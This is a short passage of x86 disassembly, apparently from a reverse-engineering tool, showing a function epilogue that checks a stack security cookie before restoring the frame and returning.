mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret